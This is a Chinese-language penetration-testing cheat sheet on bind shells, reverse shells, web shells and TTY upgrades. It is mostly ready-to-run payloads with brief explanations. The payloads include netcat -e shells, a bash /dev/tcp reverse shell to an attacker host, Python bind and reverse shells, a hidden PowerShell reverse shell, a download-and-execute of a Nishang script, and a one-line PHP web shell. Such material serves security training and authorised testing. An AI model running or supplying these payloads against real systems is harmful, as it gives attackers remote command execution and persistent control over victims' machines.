Shell

Shell介绍

Shell 是一种命令解释器，它提供了用户与操作系统内核交互的接口。用户通过 Shell 向系统发送命令，Shell 解释并传递给操作系统内核执行。常见的 Shell 包括 Linux 系统中的 `bash`、`zsh` 等。

Shell类型

Shell 类型：

- **命令行 Shell**：如 `bash` 、 `zsh` 等，提供与操作系统进行交互的命令行接口。
- **Web Shell**：通过网页执行系统命令的脚本。
- **反向 Shell**：从受害主机发起连接，攻击者主机监听。
- **正向 Shell**：攻击者向受害主机发起连接，取得 Shell。

正向shell

正向 Shell 是攻击者主动连接目标主机的开放端口（如 `ssh` 、 `telnet` 等），获取远程访问权限的方式。正向 Shell 通常在目标系统没有被防火墙阻挡且存在暴露端口时使用。

命令：

- 在目标上开启shell监听：

```
#Windows
 nc -lnvp 3333 -e cmd.exe

#Linux
 nc -lnvp 3333 -e /bin/sh
```

命令解释：

`nc`： Netcat 命令行工具，用于读写网络连接数据。

`-l`： 指 Netcat 进入监听模式，等待传入连接。在这个模式下，Netcat 作为服务器端，等待客户端连接。

`-n`： 不使用 DNS 名称解析，避免将 IP 地址解析为主机名，直接处理 IP 地址。

`-v`： 以详细模式运行，显示运行过程中的详细信息（如连接尝试等）。

`-p 3333`： 监听本地的 3333 端口。此处的 `-p` 选项指定 Netcat 监听哪个端口，等待客户端连接。

`-e cmd.exe`： 执行 `cmd.exe` ，将 Windows 命令提示符 `cmd.exe` 绑定到监听的端口。当有客户端连接时，Netcat 会将连接的数据重定向到 `cmd.exe` ，从而允许远程用户通过该连接执行命令。

- 攻击机使用 Netcat（nc）连接目标：

```
nc -nv <target_ip> <port>
```

- 或者使用 `bash` 进行远程连接：

```
bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1
```

反向shell

反向 Shell 是从受害者主机发起连接到攻击者主机，攻击者监听端口并等待反向连接。反向 Shell 常用于目标主机位于防火墙后，不能直接访问的情况下。

- 使用 Netcat 设置反向 Shell：

1. 在攻击者主机上监听端口：

```
nc -lvnp <port>
```

1. 在目标主机执行反向 Shell：

```
nc <attacker_ip> <port> -e /bin/bash
```

- 使用 `bash` 创建反向 Shell：

```
bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1
```

命令解释：

1. **`bash -i`**： 该部分表示启动一个交互式的 Bash shell。`-i` 是 Bash 的参数，用于指定交互模式，这意味着会显示 Shell 提示符，并可以执行命令。
2. **`>&`**： `>&` 是 Bash 中的输出重定向符号，用来将标准输出（stdout）和标准错误输出（stderr）都重定向到一个文件描述符或流。
3. **`/dev/tcp/<attacker_ip>/<port>`**： 这是 Bash 特有的一种网络功能，它利用 `/de`

`v/tcp/` 伪设备与指定的 IP 地址和端口进行 TCP 连接。`<attacker_ip>` 是攻击者的 IP 地址，`<port>` 是攻击者监听的端口。当这条命令被执行时，目标主机会与攻击者主机建立一个 TCP 连接。

4. **`0>&1`**： 这是将标准输入（stdin，文件描述符 0）重定向到标准输出（stdout，文件描述符 1）。这意味着所有输入都会通过标准输出流传递回攻击者的机器，从而允许攻击者与目标机器的 Shell 进行交互。

WebShell

Web Shell 是通过网页上传或注入的恶意脚本，用于在目标服务器上执行系统命令。

PHP 简单 Web Shell：

```
Plain Text
<?php system($_GET['cmd']); ?>
```

访问方式：`http://<target_ip>/shell.php?cmd=whoami`

常见shell payload

正向

Netcat

目标机器：

```
Plain Text
#Windows
 nc -lnvp 3333 -e cmd.exe

#Linux
 nc -lnvp 3333 -e /bin/sh
```

攻击机：

`nc -nv 192.168.226.131 3333`

python

适用于Linux系统，在目标执行：

```
# Python 绑定 Shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("0.0.0.0",4444));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);p=subprocess.call(["/bin/sh"])'
```

反向

Linux 中常见的反向 Shell 命令

```
# 目标机器上执行，反弹 Shell 到攻击者机器
bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1
```

- **解释**：将目标机器的 `/bin/bash` 反弹到攻击者的 `<attacker_ip>` 的 `<port>`。

```
# 使用 Netcat 反向 Shell
nc -e /bin/bash <attacker_ip> <port>
```

Python 反向 Shell

```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_ip>",<port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh"])'
```

Windows 中常见的反向 Shell 命令

```
# Windows 上通过 Netcat 反弹 Shell
nc <attacker_ip> <port> -e cmd.exe
```

PowerShell 反向 Shell

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
```

或

```
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <攻击者IP> -port <攻击者端口>
```

Spawn TTY Shell

在渗透测试中，通过反向 Shell 或非交互式 Shell 获得访问权限后，经常需要生成一个交互式 TTY Shell。通过 TTY，可以在目标系统上更方便地执行命令，提升权限并执行一些更复杂的操作。

什么是 TTY Shell?

`TTY`（Teletypewriter）是 Unix 和 Linux 系统中的一种终端接口，用来提供交互式命令行访问。通过生成 TTY Shell，可以提升操作体验，实现如使用快捷键、运行 `sudo` 等操作。

Python 生成 TTY Shell

如果目标系统上安装了 Python，可以使用以下命令生成 TTY：

```
Plain Text
python -c "import pty; pty.spawn('/bin/bash')"
```

解释：

- `import pty`：导入 Python 的 `pty` 模块，该模块用于伪终端管理。
- `pty.spawn("/bin/bash")`：使用伪终端启动一个新的 Bash Shell。

如果系统上安装的是 Python 3，可以使用以下命令：

```
Plain Text
python3 -c "import pty; pty.spawn('/bin/bash')"
```

Bash 生成 TTY Shell

如果系统支持 Bash，也可以使用 Bash 自带的命令生成 TTY：

```
Plain Text
/bin/bash -i
```

这是一个最简单的方式，通过启动 Bash 的交互模式来生成一个交互式 TTY Shell。

升级 Shell (Full Interactive Mode)

在获得基本 TTY 后，还可以通过一些设置进一步增强 Shell 的交互性：

```
Plain Text
CTRL+Z
stty raw -echo; fg
export TERM=xterm
```

- `CTRL+Z`：暂停当前 Shell 进程。
- `stty raw -echo`：将终端设置为“原始模式”，并禁用回显。
- `fg`：将暂停的 Shell 进程放到前台。
- `export TERM=xterm`：将终端类型设置为 `xterm`，提升交互体验。

拓展资源

https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/

https://www.revshells.com/